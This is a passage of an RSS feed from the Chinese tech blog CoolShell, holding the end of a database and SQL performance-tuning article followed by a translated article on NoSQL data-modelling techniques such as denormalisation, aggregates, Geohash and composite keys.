<li><strong>数据库的锁的方式</strong>。这个非常非常地重要。并发情况下，锁是非常非常影响性能的。各种隔离级别，行锁，表锁，页锁，读写锁，事务锁，以及各种写优先还是读优先机制。性能最高的是不要锁，所以，分库分表，冗余数据，减少一致性事务处理，可以有效地提高性能。NoSQL就是牺牲了一致性和事务处理，并冗余数据，从而达到了分布式和高性能。</li>
<li><strong>数据库的存储机制</strong>。不但要搞清楚各种类型字段是怎么存储的，更重要的是数据库的数据存储方式，是怎么分区的，是怎么管理的，比如Oracle的数据文件，表空间，段，等等。了解清楚这个机制可以减轻很多的I/O负载。比如：MySQL下使用<span style="font-size: xx-small;">show engines;</span>可以看到各种存储引擎的支持。不同的存储引擎有不同的侧重点，针对不同的业务或数据库设计会让你有不同的性能。</li>
<li><strong>数据库的分布式策略</strong>。最简单的就是复制或镜像，需要了解分布式的一致性算法，或是主主同步，主从同步。通过了解这种技术的机理可以做到数据库级别的水平扩展。</li>
</ul>
<p><strong>B）SQL语句优化</strong></p>
<p>关于SQL语句的优化，首先也是要使用工具，比如：<a href="http://www.mysql.com/products/enterprise/query.html" target="_blank">MySQL SQL Query Analyzer</a>，<a href="http://www.oracle-base.com/articles/11g/sql-performance-analyzer-11gr1.php" target="_blank">Oracle SQL Performance Analyzer</a>，或是微软<a href="http://msdn.microsoft.com/en-us/library/aa216945(v=sql.80).aspx" target="_blank">SQL Query Analyzer</a>，基本上来说，所有的RMDB都会有这样的工具，来让你查看你的应用中的SQL的性能问题。 还可以使用explain来看看SQL语句最终Execution Plan会是什么样的。</p>
<p>还有一点很重要，数据库的各种操作需要大量的内存，所以服务器的内存要够，优其应对那些多表查询的SQL语句，那是相当的耗内存。</p>
<p>下面我根据我有限的数据库SQL的知识说几个会有性能问题的SQL：</p>
<ul>
<li><strong>全表检索</strong>。比如：select * from user where lastname = &#8220;xxxx&#8221;，这样的SQL语句基本上是全表查找，线性复杂度O(n)，记录数越多，性能也越差（如：100条记录的查找要50ms，一百万条记录需要5分钟）。对于这种情况，我们可以有两种方法提高性能：一种方法是分表，把记录数降下来，另一种方法是建索引（为lastname建索引）。索引就像是key-value的数据结构一样，key就是where后面的字段，value就是物理行号，对索引的搜索复杂度是基本上是O(log(n)) ——用B-Tree实现索引（如：100条记录的查找要50ms，一百万条记录需要100ms）。</li>
</ul>
<ul>
<li><strong>索引</strong>。对于索引字段，最好不要在字段上做计算、类型转换、函数、空值判断、字段连接操作，这些操作都会破坏索引原本的性能。当然，索引一般都出现在Where或是Order by字句中，所以对Where和Order by子句中的子段最好不要进行计算操作，或是加上什么NOT之类的，或是使用什么函数。</li>
</ul>
<ul>
<li><strong>多表查询</strong>。关系型数据库最多的操作就是多表查询，多表查询主要有三个关键字，EXISTS，IN和JOIN（关于各种join，可以参看<a title="图解SQL的Join" href="https://coolshell.cn/articles/3463.html" target="_blank">图解SQL的Join</a>一文）。基本来说，现代的数据引擎对SQL语句优化得都挺好的，JOIN和IN/EXISTS在结果上有些不同，但性能基本上都差不多。有人说，EXISTS的性能要好于IN，IN的性能要好于JOIN，我各人觉得，这个还要看你的数据、schema和SQL语句的复杂度，对于一般的简单的情况来说，都差不多，所以千万不要使用过多的嵌套，千万不要让你的SQL太复杂，宁可使用几个简单的SQL也不要使用一个巨大无比的嵌套N级的SQL。还有人说，如果两个表的数据量差不多，Exists的性能可能会高于In，In可能会高于Join，如果这两个表一大一小，那么子查询中，Exists用大表，In则用小表。这个，我没有验证过，放在这里让大家讨论吧。另，有一篇关于SQL Server的文章大家可以看看《<a href="http://explainextended.com/2009/06/16/in-vs-join-vs-exists/" target="_blank">IN vs JOIN vs EXISTS</a>》</li>
</ul>
<ul>
<li><strong>JOIN操作</strong>。有人说，Join表的顺序会影响性能，只要Join的结果集是一样，性能和join的次序无关。因为后台的数据库引擎会帮我们优化的。Join有三种实现算法，嵌套循环，排序归并，和Hash式的Join。（MySQL只支持第一种）</li>
</ul>
<ul style="padding-left: 60px;">
<ul>
<li>嵌套循环，就好像是我们常见的多重嵌套循环。注意，前面的索引说过，数据库的索引查找算法用的是B-Tree，这是O(log(n))的算法，所以，整个算法复法度应该是O(log(n)) * O(log(m)) 这样的。</li>
<li>Hash式的Join，主要解决嵌套循环的O(log(n))的复杂，使用一个临时的hash表来标记。</li>
<li>排序归并，意思是两个表按照查询字段排好序，然后再合并。当然，索引字段一般是排好序的。</li>
</ul>
</ul>
<p style="padding-left: 60px;">还是那句话，具体要看什么样的数据，什么样的SQL语句，你才知道用哪种方法是最好的。</p>
<ul>
<li><strong>部分结果集。</strong>我们知道MySQL里的Limit关键字，Oracle里的rownum，SQL Server里的Top都是在限制前几条的返回结果。这给了我们数据库引擎很多可以调优的空间。一般来说，返回top n的记录数据需要我们使用order by，注意在这里我们需要为order by的字段建立索引。有了被建索引的order by后，会让我们的select语句的性能不会被记录数的所影响。使用这个技术，一般来说我们前台会以分页方式来显现数据，Mysql用的是OFFSET，SQL Server用的是FETCH NEXT，这种Fetch的方式其实并不好是线性复杂度，所以，如果我们能够知道order by字段的第二页的起始值，我们就可以在where语句里直接使用&gt;=的表达式来select，这种技术叫seek，而不是fetch，seek的性能比fetch要高很多。</li>
</ul>
<ul>
<li><strong>字符串</strong>。正如我前面所说的，字符串操作对性能上有非常大的恶梦，所以，能用数据的情况就用数字，比如：时间，工号，等。</li>
</ul>
<ul>
<li><strong>全文检索</strong>。千万不要用Like之类的东西来做全文检索，如果要玩全文检索，可以尝试使用<a href="http://sphinxsearch.com/" target="_blank">Sphinx</a>。</li>
</ul>
<ul>
<li><strong>其它</strong>。
<ul>
<li>不要select *，而是明确指出各个字段，如果有多个表，一定要在字段名前加上表名，不要让引擎去算。</li>
<li>不要用Having，因为其要遍历所有的记录。性能差得不能再差。</li>
<li>尽可能地使用UNION ALL  取代  UNION。</li>
<li>索引过多，insert和delete就会越慢。而update如果update多数索引，也会慢，但是如果只update一个，则只会影响一个索引表。</li>
<li>等等。</li>
</ul>
</li>
</ul>
<p>关于SQL语句的优化，网上有很多文章， 不同的数据库引擎有不同的优化技巧，正如本站以前转发的《<a href="https://coolshell.cn/articles/1846.html" rel="bookmark">MySQL性能优化的最佳20+条经验</a>》</p>
<p>先写这么多吧，欢迎大家指正补充。</p>
<blockquote><p><strong>注：</strong>这篇文章的确是个大杂烩。其实其中的说到的很多技术在网上都有很多很多的技术文章，google一下就能找到一堆有很多细节的文章，所以我也就不写了。这篇性能调优的文章写作的动机是之前看到 <a href="http://weibo.com/n/%E6%B7%98%E5%AE%9D%E8%A4%9A%E9%9C%B8">@淘宝褚霸</a> 强推的<a href="http://highscalability.com/">highscalability.com</a>上的这篇文章：<a href="http://highscalability.com/blog/2012/5/16/big-list-of-20-common-bottlenecks.html" target="_blank">Big List Of 20 Common Bottlenecks</a>，觉得这篇文章泛泛而谈，觉得自己能写得比它好，所以就产生了动机。</p></blockquote>
<p>（<span style="color: #cc0000;"><strong>转载时请注明作者和出处，请勿用于商业用途</strong></span>）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg" alt="Alan Cox：单向链表中prev指针的妙用" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9859.html" class="wp_rp_title">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href="https://coolshell.cn/articles/8883.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg" alt="应该知道的Linux技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8883.html" class="wp_rp_title">应该知道的Linux技巧</a></li><li ><a href="https://coolshell.cn/articles/7829.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png" alt="28个Unix/Linux的命令行神器" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7829.html" class="wp_rp_title">28个Unix/Linux的命令行神器</a></li><li ><a href="https://coolshell.cn/articles/5107.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg" alt="10大经典错误" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5107.html" class="wp_rp_title">10大经典错误</a></li><li ><a href="https://coolshell.cn/articles/4102.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg" alt="如何学好C语言" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4102.html" class="wp_rp_title">如何学好C语言</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/7490.html">性能调优攻略</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/7490.html/feed</wfw:commentRss>
			<slash:comments>171</slash:comments>
		
		
			</item>
		<item>
		<title>NoSQL 数据建模技术</title>
		<link>https://coolshell.cn/articles/7270.html</link>
					<comments>https://coolshell.cn/articles/7270.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 15 May 2012 00:22:13 +0000</pubDate>
				<category><![CDATA[数据库]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[SQL]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=7270</guid>

					<description><![CDATA[<p>全文译自墙外文章“NoSQL Data Modeling Techniques”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/7270.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/7270.html">NoSQL 数据建模技术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>全文译自墙外文章“<a href="http://highlyscalable.wordpress.com/2012/03/01/nosql-data-modeling-techniques/" target="_blank">NoSQL Data Modeling Techniques</a>”，译得不好，还请见谅。这篇文章看完之后，你可能会对NoSQL的数据结构会有些感觉。我的感觉是，关系型数据库想把一致性，完整性，索引，CRUD都干好，NoSQL只干某一种事，但是牺牲了很多别的东西。总体来说，我觉得NoSQL更适合做Cache。下面是正文——</p>
<p>NoSQL 数据库经常被用作很多非功能性的地方，如，扩展性，性能和一致性的地方。这些NoSQL的特性在理论和实践中都正在被大众广泛地研究着，研究的热点正是那些和性能分布式相关的非功能性的东西，我们都知道 <a href="http://en.wikipedia.org/wiki/CAP_theorem">CAP 理论</a>被很好地应用于了 NoSQL 系统中（陈皓注：CAP即，一致性(Consistency)， 可用性(Availability)， 分区容忍性(Partition tolerance)，在分布式系统中，这三个要素最多只能同时实现两个，而NoSQL一般放弃的是一致性）。但在另一方面，NoSQL的数据建模技术却因为缺乏像关系型数据库那样的基础理论没有被世人很好地研究。这篇文章从数据建模方面对NoSQL家族进行了比较，并讨论几个常见的数据建模技术。</p>
<p>要开始讨论数据建模技术，我们不得不或多或少地先系统地看一下NoSQL数据模型的成长的趋势，以此我们可以了解一些他们内在的联系。下图是NoSQL家族的进化图，我们可以看到这样的进化：Key-Value时代，BigTable时代，Document时代，全文搜索时代，和Graph数据库时代：（陈皓注：注意图中SQL说的那句话，NoSQL再这样发展下去就是SQL了，哈哈。）</p>
<div id="attachment_310">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/overview2.png"><img decoding="async" loading="lazy" title="overview" src="https://coolshell.cn/wp-content/uploads/2012/05/overview2.png?w=594&amp;h=699" alt="" width="594" height="699" /><br />
</a>NoSQL Data Models</p>
</div>
<p>首先，我们需要注意的是SQL和关系型数据模型已存在了很长的时间，这种面向用户的自然性意味着：</p>
<p><span id="more-7270"></span></p>
<ul>
<li>最终用户一般更感兴趣于数据的聚合显示，而不是分离的数据，这主要通过SQL来完成。</li>
<li>我们无法通过人手工控制数据的并发性，完整性，一致性，或是数据类型校验这些东西的。这就是为什么SQL需要在事务，二维表结构（schema）和外表联合上做很多事。</li>
</ul>
<p>另一方面，SQL可以让软件应用程序在很多情况下不需要关心数据库的数据聚合，和数据完整性和有效性进行控制。而如果我们去除了数据一致性，完整性这些东西，会对性能和分布存储有着重的帮助。正因为如此，我们才有数据模型的进化：</p>
<ul>
<li><strong>Key-Value 键值对存储</strong>是非常简单而强大的。下面的很多技术基本上都是基于这个技术开始发展的。但是，Key-Value有一个非常致命的问题，那就是如果我们需要查找一段范围内的key。（陈皓注：学过hash-table数据结构的人都应该知道，hash-table是非序列容器，其并不像数组，链接，队列这些有序容器，我们可以控制数据存储的顺序）。于是，有序键值 （Ordered Key-Value） 数据模型被设计出来解决这一限制，来从根本上提高数据集的问题。</li>
</ul>
<ul>
<li><strong>Ordered Key-Value 有序键值</strong>模型也非常强大，但是，其也没有对Value提供某种数据模型。通常来说，Value的模型可以由应用负责解析和存取。这种很不方便，于是出现了 BigTable类型的数据库，这个数据模型其实就是map里有map，map里再套map，一层一层套下去，也就是层层嵌套的key-value（value里又是一个key-value），这种数据库的Value主要通过“列族”（column families），列，和时间戳来控制版本。（陈皓注：关于时间戳来对数据的版本控制主要是解决数据存储并发问题，也就是所谓的乐观锁，详见《<a title="多版本并发控制(MVCC)在分布式系统中的应用" href="https://coolshell.cn/articles/6790.html" target="_blank">多版本并发控制(MVCC)在分布式系统中的应用</a>》）</li>
</ul>
<ul>
<li><strong>Document databases 文档数据库</strong> 改进了 BigTable 模型，并提供了两个有意义的改善。第一个是允许Value中有主观的模式（scheme），而不是map套map。第二个是索引。 <strong>Full Text Search Engines 全文搜索引擎</strong>可以被看作是文档数据库的一个变种，他们可以提供灵活的可变的数据模式（scheme）以及自动索引。他们之间的不同点主要是，文档数据库用字段名做索引，而全文搜索引擎用字段值做索引。</li>
</ul>
<ul>
<li><strong>Graph data models 图式数据库</strong> 可以被认为是这个进化过程中从 Ordered Key-Value 数据库发展过来的一个分支。图式数据库允许构建议图结构的数据模型。它和文档数据库有关系的原因是，它的很多实现允许value可以是一个map或是一个document。</li>
</ul>
<h4> NoSQL 数据模型摘要</h4>
<p>本文剩下的章节将向你介绍数据建模的技术实现和相关模式。但是，在介绍这些技术之前，先来一段序言：</p>
<ul>
<li>NoSQL 数据模型设计一般从业务应用的具体数据查询入手，而不是数据间的关系：</li>
<ul>
<li>关系型的数据模型基本上是分析数据间的结构和关系。其设计理念是： ”<strong>What answers do I have?”</strong><em> </em></li>
<li>NoSQL 数据模型基本上是从应用对数据的存取方式入手，如：我需要支持某种数据查询。其设计理念是<strong> ”What questions do I have?”</strong></li>
</ul>
</ul>
<ul>
<li>NoSQL 数据模型设计比关系型数据库需要对数据结构和算法的更深的了解。在这篇文章中我会和大家说那些尽人皆知的数据结构，这些数据结构并不只是被NoSQL使用，但是对于NoSQL的数据模型却非常有帮助。</li>
</ul>
<ul>
<li>数据冗余和反规格化是一等公民。</li>
</ul>
<ul>
<li>关系型数据库对于处理层级数据和图式数据非常的不方便。NoSQL用来解决图式数据明显是一个非常好的解决方案，几乎所有的NoSQL数据库可以很强地解决此类问题。这就是为什么这篇文章专门拿出一章来说明层级数据模型。</li>
</ul>
<div>下面是NoSQL的分类表，也是我用来写这篇文章时做实践的产品：</div>
<div>
<ul>
<li>Key-Value 存储: Oracle Coherence, Redis, Kyoto Cabinet</li>
<li>类BigTable存储: Apache HBase, Apache Cassandra</li>
<li>文档数据库: MongoDB, CouchDB</li>
<li>全文索引: Apache Lucene, Apache Solr</li>
<li>图数据库: neo4j, FlockDB</li>
</ul>
</div>
<h4>概念技术 Conceptual Techniques</h4>
<p>这一节主要介绍NoSQL数据模型的基本原则。</p>
<h5>(1) 反规格化 Denormalization</h5>
<p>反规格化 Denormalization 可以被认为是把相同的数据拷贝到不同的文档或是表中，这样就可以简化和优化查询，或是正好适合用户的某中特别的数据模型。这篇文章中所说的绝大多数技术都或多或少地导向了这一技术。</p>
<p>总体来说，反规格化需要权衡下面这些东西：</p>
<ul>
<li><strong><em>查询数据量 /查询IO </em></strong> VS  <strong><em>总数据量</em></strong>。使用反规格化，一方面可以把一条查询语句所需要的所有数据组合起来放到一个地方存储。这意味着，其它不同不同查询所需要的相同的数据，需要放在别不同的地方。因此，这产生了很多冗余的数据，从而导致了数据量的增大。</li>
</ul>
<ul>
<li><strong><em>处理复杂度 </em></strong> VS <strong><em>总数据量</em></strong>. 在符合范式的数据模式上进行表连接的查询，很显然会增加了查询处理的复杂度，尤其对于分布式系统来说更是。反规格化的数据模型允许我们以方便查询的方式来存构造数据结构以简化查询复杂度。</li>
</ul>
<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>
<h5>(2) 聚合 Aggregates</h5>
<p>所有类型的NoSQL数据库都会提供灵活的Schema（数据结构，对数据格式的限制）：</p>
<ul>
<li>Key-Value Stores 和 Graph Databases 基本上来说不会Value的形式，所以Value可以是任意格式。这样一来，这使得我们可以任意组合一个业务实体的keys。比如，我们有一个用户帐号的业务实体，其可以被如下这些key组合起来： <em>UserID_name, UserID_email, UserID_messages</em> 等等。如果一个用户没有email或message，那么相应也不会有这样的记录。</li>
</ul>
<ul>
<li>BigTable 模型通过列集合来支持灵活的Schema，我们称之为列族（<em>column family</em>）。BigTable还可以在同一记录上出现不同的版本（通过时间戳）。</li>
</ul>
<ul>
<li>Document databases 文档数据库是一种层级式的“去Schema”的存储，虽然有些这样的数据库允许检验需要保存的数据是否满足某种Schema。</li>
</ul>
<p>灵活的Schema允许你可以用一种嵌套式的内部数据方式来存储一组有关联的业务实体（陈皓注：类似于JSON这样的数据封装格式）。这样可以为我们带来两个好处。</p>
<ul>
<li>最小化“一对多”关系——可以通过嵌套式的方式来存储实体，这样可以少一些表联结。</li>
</ul>
<ul>
<li>可以让内部技术上的数据存储更接近于业务实体，特别是那种混合式的业务实体。可能存于一个文档集或是一张表中。</li>
</ul>
<div>下图示意了这两种好处。图中描给了电子商务中的商品模型（陈皓注：我记得我在“<a title="挑战无处不在" href="https://coolshell.cn/articles/7048.html" target="_blank">挑战无处不在</a>”一文中说到过电商中产品分类数据库设计的挑战）</div>
<div>
<ul>
<li>首先，所有的商品Product都会有一个ID，Price 和 Description。</li>
</ul>
<ul>
<li>然后，我们可以知道不同的类型的商品会有不同的属性。比如，作者是书的属性，长度是牛仔裤的属性。其些属性可能是“一对多”或是“多对多”的关系，如：唱片中的曲目。</li>
</ul>
<ul>
<li>接下来，我们知道，某些业务实体不可能使用固定的类型。如：牛仔裤的属性并不是所有的牌子都有的，而且，有些名牌还会搞非常特别的属性。</li>
</ul>
<p>对于关系型数据库来说，要设计这样的数据模型并不简单，而且设计出来的绝对离优雅很远很远。而我们NoSQL中灵活的Schema允许你使用一个聚合 Aggregate (product) 可以建出所有不同种类的商品和他们的不同的属性：</p>
</div>
<div>
<div id="attachment_404">
<p><a href="https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png"><img decoding="async" loading="lazy" class="aligncenter" title="soft-schema" src="https://coolshell.cn/wp-content/uploads/2012/05/soft-schema2.png?w=594&amp;h=439" alt="" width="594" height="439" /></a></p>
<p style="text-align: center;">Entity Aggregation</p>
</div>
</div>
<div>
<p>上图中我们可以比较关系型数据库和NoSQL的差别。<strong>但是我们可以看到在数据更新上，非规格化的数据存储在性能和一致性上会有很大的影响，这就是我们需要重点注意和不得不牺牲的地方</strong>。</p>
</div>
<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>
<h5>(3) 应用层联结 Application Side Joins</h5>
<p>表联结基本上不被NoSQL支持。正如我们前面所说的，NoSQL是“面向问题”而不是“面向答案”的，不支持表联结就是“面向问题”的后果。表的联结是在设计时被构造出来的，而不是在执行时建造出来的。所以，表联结在运行时是有很大开销的（陈皓注：搞过SQL表联结的都知道笛卡尔积是什么东西，大可以在参看以前酷壳的“<a title="图解SQL的Join" href="https://coolshell.cn/articles/3463.html" target="_blank">图解数据库表Joins</a>”），但是在使用了 Denormalization 和 Aggregates 技术后，我们基本不用进行表联结，如：你们使用嵌套式的数据实体。当然，如果你需要联结数据，你需要在应用层完成这个事。下面是几个主要的Use Case：</p>
<ul>
<li>多对多的数据实体关系——经常需要被连接或联结。</li>
</ul>
<ul>
<li>聚合 Aggregates 并不适用于数据字段经常被改变的情况。对此，我们需要把那些经常被改变的字段分到另外的表中，而在查询时我们需要联结数据。例如，我们有个Message系统可以有一个User实体，其包括了一个内嵌的Message实体。但是，如果用户不断在附加 message，那么，最好把message拆分到另一个独立的实体，但在查询时联结这User和Message这两个实体。如下图：</li>
</ul>
<p><a href="https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png"><img decoding="async" class="aligncenter" title="aggregates-joins" src="https://coolshell.cn/wp-content/uploads/2012/05/aggregates-joins.png?w=594" alt="" /></a></p>
<p><strong>适用性</strong>: Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库， Graph Databases 图数据库。</p>
<h4>通用建模技术 General Modeling Techniques</h4>
<p>在本书中，我们将讨论NoSQL中各种不同的通用的数据建模技术。</p>
<h5>(4) 原子聚合 Atomic Aggregates</h5>
<p>很多NoSQL的数据库（并不是所有）在事务处理上都是短板。在某些情况下，他们可以通过分布式锁技术或是<a title="Implementation of MVCC Transactions for Key-Value Stores" href="http://highlyscalable.wordpress.com/2012/01/07/mvcc-transactions-key-value/" target="_blank">应用层管理的MVCC技术</a>来实现其事务性（陈皓注：可参看本站的“<a title="多版本并发控制(MVCC)在分布式系统中的应用" href="https://coolshell.cn/articles/6790.html">多版本并发控制(MVCC)在分布式系统中的应用</a>”）但是，通常来说只能使用聚合Aggregates技术来保证一些ACID原则。</p>
<p>这就是为什么我们的关系型数据库需要有强大的事务处理机制——因为关系型数据库的数据是被规格化存放在了不同的地方。所以，Aggregates聚合允许我们把一个业务实体存成一个文档、存成一行，存成一个key-value，这样就可以原子式的更新了：</p>
<div id="attachment_409">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png"><img decoding="async" class="aligncenter" title="atomic-aggregate" src="https://coolshell.cn/wp-content/uploads/2012/05/atomic-aggregate1.png?w=594" alt="" /><br />
</a>Atomic Aggregates</p>
</div>
<p>当然，原子聚合 Atomic Aggregates 这种数据模型并不能实现完全意义上的事务处理，但是如果支持原子性，锁，或 test-and-set 指令，那么， Atomic Aggregates 是可以适用的。</p>
<p><strong><strong>适用性</strong>: </strong>Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>
<h5>(5) 可枚举键 Enumerable Keys</h5>
<p>也许，对于无顺序的Key-Value最大的好处是业务实体可以被容易地hash以分区在多个服务器上。而排序了的key会把事情搞复杂，但是有些时候，一个应用能从排序key中获得很多好处，就算是数据库本身不提供这个功能。让我们来思考下email消息的数据模型：</p>
<ol>
<li>一些NoSQL的数据库提供原子计数器以允许生一些连续的ID。在这种情况下，我们可以使用 <em>userID_messageID</em> 来做为一个组合key。如果我们知道最新的message ID，就可以知道前一个message，也可能知道再前面和后面的Message。</li>
<li>Messages可以被打包。比如，每天的邮件包。这样，我们就可以对邮件按指定的时间段来遍历。</li>
</ol>
<p><strong><strong><strong>适用性</strong>: </strong></strong>Key-Value Store 键值对数据库<strong>。</strong></p>
<h5>(6) 降维 Dimensionality Reduction</h5>
<p>Dimensionality Reduction 降维是一种技术可以允许把一个多维的数据映射成一个Key-Value或是其它非多给的数据模型。</p>
<p>传统的地理位置信息系统使用一些如“四分树<a href="http://en.wikipedia.org/wiki/Quadtree" target="_blank">QuadTree</a>” 或 “<a href="http://en.wikipedia.org/wiki/R-tree" target="_blank">R-Tree</a>” 来做地理位置索引。这些数据结构的内容需要被在适当的位置更新，并且，如果数据量很大的话，操作成本会很高。另一个方法是我们可以遍历一个二维的数据结构并把其扁平化成一个列表。一个众所周知的例子是<a href="http://en.wikipedia.org/wiki/Geohash" target="_blank">Geohash</a>（地理哈希）。一个Geohash使用“之字形”的路线扫描一个2维的空间，而且遍历中的移动可以被简单地用0和1来表示其方向，然后在移动的过程中产生0/1串。下图展示了这一算法：（陈皓注：先把地图分成四份，经度为第一位，纬度为第二位，于是左边的经度是0，右边的是1，纬度也一样，上面是为1，下面的为0，这样，经纬度就可以组合成01，11，00，10这四个值，其标识了四块区域，我们可以如此不断的递归地对每个区域进行四分，然后可以得到一串1和0组成的字串，然后使用0-9，b-z 去掉（去掉a, i, l, o）这32个字母进行base32编码得到一个8个长度的编码，这就是Geohash的算法）</p>
<div id="attachment_398">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png"><img decoding="async" title="geohash-traversal" src="https://coolshell.cn/wp-content/uploads/2012/05/geohash-traversal1.png?w=594" alt="" /><br />
</a>Geohash Index</p>
</div>
<p>Geohash的最强大的功能是使用简单的位操作就可以知道两个区域间的距离，就像图中所示（陈皓：proximity框着的那两个，这个很像IP地址了）。Geohash把一个二维的坐标生生地变成了一个一维的数据模型，这就是降维技术。BigTable的降维技术参看到文章后面的 [6.1]。更多的关于Geohash和其它技术可以参看 [6.2] 和 [6.3]。</p>
<p><strong><strong><strong>适用性</strong>:</strong></strong> Key-Value Store 键值对数据库， Document Databases文档数据库， BigTable风格的数据库。</p>
<h5>(7) 索引表 Index Table</h5>
<p>Index Table 索引表是一个非常直白的技术，其可以你在不支持索引的数据库中得到索引的好处。BigTable是这类最重要的数据库。这需要我们维护一个有相应存取模式的特别表。例如，我们有一个主表存着用户帐号，其可以被UserID存取。某查询需要查出某个城市里所有的用户，于是我们可以加入一张表，这张表用城市做主键，所有和这个城市相关的UserID是其Value，如下所示：</p>
<div id="attachment_399">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/index-table.png"><img decoding="async" title="index-table" src="https://coolshell.cn/wp-content/uploads/2012/05/index-table.png?w=594" alt="" /><br />
</a>Index Table Example</p>
</div>
<p>可见，城市索引表的需要和对主表用户表保持一致性，因此，主表的每一个更新可能需要对索引表进行更新，不然就是一个批处理更新。无论哪个方式，这都会损伤一些性能，因为需要保持一致性。</p>
<p>Index Table 索引表可以被认为是关系型数据库中的视图的等价物。</p>
<p><strong>适用性</strong>: BigTable 数据库。</p>
<h5>(8) 键组合索引 Composite Key Index</h5>
<p>Composite key 键组合是一个很常用的技术，对此，当我们的数据库支持键排序时能得到极大的好处。Composite key组合键的拼接成为第二排序字段可以让你构建出一种多维索引，这很像我们之前说过的 Dimensionality Reduction 降维技术。例如，我们需要存取用户统计。如果我们需要根据不同的地区来统计用户的分布情况，我们可以把Key设计成这样的格式 <em>(State:City:UserID)</em>，这样一来，就使得我们可以通过State到City来按组遍历用户，特别是我们的NoSQL数据库支持在key上按区查询（如：BigTable类的系统）：</p>
<pre data-enlighter-language="sql" class="EnlighterJSRAW">SELECT Values WHERE state=&quot;CA:*&quot;
SELECT Values WHERE city=&quot;CA:San Francisco*&quot;</pre>
<div id="attachment_477">
<p style="text-align: center;"><a href="http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png"><img decoding="async" title="composite-key-index" src="http://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png?w=594" alt="" /><br />
</a>Composite Key Index</p>
</div>
<p><strong><strong>适用性</strong>: </strong>BigTable 数据库。</p>
<h5>(9) 键组合聚合 Aggregation with Composite Keys</h5>
<p>Composite keys  键组合技术并不仅仅可以用来做索引，同样可以用来区分不用的类型的数据以支持数据分组。考虑一个例子，我们有一个海量的日志数组，这个日志记录了互联网上的用户的访问来源。我们需要计算从某一网站过来的独立访客的数量，在关系型数据库中，我们可能需要下面这样的SQL查询语句：</p>
<p><code data-enlighter-language="sql" class="EnlighterJSRAW">SELECT count(distinct(user_id)) FROM clicks GROUP BY site</code></p>
<p>我们可以在NoSQL中建立如下的数据模型：</p>
<div id="attachment_383">
<p style="text-align: center;"><a href="https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png"><img decoding="async" title="composite-key-collating" src="https://coolshell.cn/wp-content/uploads/2012/05/composite-key-collating1.png?w=594" alt="" /><br />
</a>Counting Unique Users using Composite Keys</p>
</div>
<p>这样，我们就可以把数据按UserID来排序，我们就可以很容易把同一个用户的数据（一个用户并不会产生太多的event）进行处理，去掉那些重复的站点（使用hash table或是别的什么）。另一个可选的技术是，我们可以对每一个用户建立一个数据实体，然后把其站点来源追加到这个数据实体中，当然，这样一来，数据的更新在性能相比之下会有一定损失。</p>
